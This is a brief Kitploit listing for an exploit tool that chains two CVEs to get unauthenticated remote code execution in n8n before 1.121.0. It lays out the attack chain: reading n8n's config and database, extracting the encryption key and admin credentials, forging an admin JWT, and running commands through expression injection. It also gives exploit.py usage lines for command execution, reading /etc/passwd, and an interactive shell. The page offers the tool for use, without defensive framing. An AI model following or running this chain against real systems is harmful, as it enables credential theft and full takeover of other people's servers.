CVE-2026-21858 — Exploit chain for unauthenticated remote code execution in n8n, combining content-type confusion and expression injection to read files, forge JWTs, and execute commands. | Kitploit

CVE-2026-21858 + CVE-2025-68613 - n8n RCE Exploit

Unauthenticated RCE chain for n8n < 1.121.0 (CVSS 10.0)

Attack Chain

CVE-2026-21858 - Content-Type confusion → read /home/node/.n8n/config and database.sqlite
Extract encryption key and admin credentials from files
Forge admin JWT token
CVE-2025-68613 - Expression injection → execute commands via child_process

Usage

# Execute command
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Read file
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Interactive shell
python3 exploit.py http://target:5678 /form/test

CVE-2026-21858

Most Popular

References